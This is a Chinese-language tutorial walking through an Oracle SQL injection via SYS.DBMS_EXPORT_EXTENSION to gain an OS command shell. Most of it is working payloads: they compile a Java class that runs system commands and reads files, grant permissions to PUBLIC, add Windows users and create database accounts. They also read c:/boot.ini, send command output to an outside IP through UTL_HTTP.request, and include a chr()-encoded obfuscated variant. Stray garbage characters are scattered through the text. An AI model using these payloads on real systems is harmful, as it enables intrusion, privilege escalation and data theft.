实例演示oracle注入获取cmdshell的全过程

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以下的演示都是在web上的sql plus执行的，在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成
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　　/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
的形式即可。(用" 'a'|| "是为了让语句返回true值)
语句有点长，可能要用post提交。
: [" u( K: Z& J6 p$ ?1 ]$ ^以下是各个步骤：
1.创建包
8 O* `( m( d$ k, i# Z通过注入 SYS.DBMS_EXPORT_EXTENSION 函数，在oracle上创建Java包LinxUtil，里面两个函数，runCMD用于执行系统命令，readFile用于读取文件：
/xxx.jsp?id=1 and '1'<>'a'||(
/ ~( ^0 \" j  w8 k* kselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
}'''';END;'';END;--','SYS',0,'1',0) from dual
)
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1 n3 v, y, }& n1 G. E如果url有长度限制，可以把readFile()函数块去掉，即：
  P; {+ k/ ?- A! o/xxx.jsp?id=1 and '1'<>'a'||(
$ s, Q( V% \/ c& Yselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
}'''';END;'';END;--','SYS',0,'1',0) from dual
! h3 X7 S, J1 V6 y. K)
同时把后面步骤 提到的 对readFile()的处理语句去掉。
- L/ e8 `! K: n7 L, \------------------------------
0 f8 \7 `3 X* c/ B9 m2.赋Java权限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual
3.创建函数
0 H7 Z# ^6 V! D& y" u0 p: z) Jselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
1 W5 k& I! e- rcreate or replace function LinxRunCMD(p_cmd in varchar2)  return varchar2  as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual
4 e( O% A4 W6 b2 nselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
3 I3 H0 g& p+ E: L5 n3 dcreate or replace function LinxReadFile(filename in varchar2)  return varchar2  as language java name ''''''''LinxUtil.readFile(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual
/ J' t( g2 n3 P" ~, ]4.赋public执行函数的权限
0 Z+ x. T# T3 h9 Z2 vselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
5 J; N3 O9 g2 w: oselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual
5.测试上面的几步是否成功
8 r: O, Q9 `+ y4 e& ^( g  X5 Cand '1'<>'11'||(
select  OBJECT_ID from all_objects where  object_name ='LINXRUNCMD'
)
and '1'<>(
1 q5 R; Y. t9 Uselect  OBJECT_ID from all_objects where  object_name ='LINXREADFILE'
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& R) l& B3 U3 `2 E0 w5 n1 ^6.执行命令：
' E* {& C& G! i6 \6 l; O/xxx.jsp?id=1 and '1'<>(
4 L2 _; q7 s/ H, Hselect  sys.LinxRunCMD('cmd /c net user linx /add') from dual
+ ]. c; T8 m% [) F. A3 z  ]
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select  sys.LinxReadFile('c:/boot.ini') from dual
' }2 N* G) n0 w7 b: n+ {
)
　　
注意sys.LinxReadFile()返回的是varchar类型，不能用"and 1<>" 代替 "and '1'<>"。
  V+ s# f2 g3 @% W如果要查看运行结果可以用 union :
5 ^! x8 }: W- d* p+ _, q/xxx.jsp?id=1 union select  sys.LinxRunCMD('cmd /c net user linx /add') from dual
或者UTL_HTTP.request(:
/xxx.jsp?id=1 and '1'<>(
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
. ?8 d+ |8 s+ J# m: b' L+ x)
2 x! z, M( S0 r- X: M2 V/xxx.jsp?id=1 and '1'<>(
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
' ]/ V1 {1 O2 l! y6 ~, z4 \)
注意：用UTL_HTTP.request时，要用 REPLACE() 把空格、换行符给替换掉，否则会无法提交http request。用utl_encode.base64_encode也可以。
--------------------
6.内部变化
通过以下命令可以查看all_objects表达改变：
select  * from all_objects where  object_name like '%LINX%' or  object_name like '%Linx%'
: h- ?% e2 p+ l5 W8 l7.删除我们创建的函数
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
drop function LinxRunCMD  '''';END;'';END;--','SYS',0,'1',0) from dual
* A; A. K/ F6 `& M& ]( U9 e8 b1 E====================================================
% R( `8 m* i( f8 a# f全文结束。谨以此文赠与我的朋友。
  Q' y5 @' H+ q9 i5 ~linx
! p) r- t+ ?: T124829445
0 f+ I* j/ F  J  N% K2008.1.12
linyujian@bjfu.edu.cn
. ^3 S- m- h6 i0 K======================================================================
5 b) E7 H1 [# ^5 Q/ j* S4 O测试漏洞的另一方法：
/ o( q3 p% W7 x6 u& \创建oracle帐号：
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
, T& W7 ]6 I! l# U8 ]CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
# A. F2 |+ u4 Z  F3 h% o1 G# e即：
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
确定漏洞存在：
1<>(
# h! v" z8 ~" s  V$ K9 E( U8 cselect user_id from all_users where username='LINXSQL'
# T" R3 h( y1 g7 v+ r! u% b; N)
" f& h$ `& `2 ]给linxsql连接权限：
" Z4 z& S, e+ ?select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
删除帐号：
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual
; _5 r" U5 [" z# n5 S7 U$ V( j======================
以下方法创建一个可以执行多语句的函数Linx_query()，执行成功的话返回数值"1"，但权限是继承的，可能仅仅是public权限，作用似乎不大，真的要用到话可以考虑grant dba to 当前的User：
3 ?7 @& [2 l8 L* A6 a5 \1.jsp?id=1 and '1'<>(
% n; ^, d# |9 {( U% ^6 iselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1;  end;   '''';END;'';END;--','SYS',0,'1',0) from dual
6 f5 k+ l  |" U" ?4 C; m( V) and ... 1.jsp?id=1 and '1'( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE
　)


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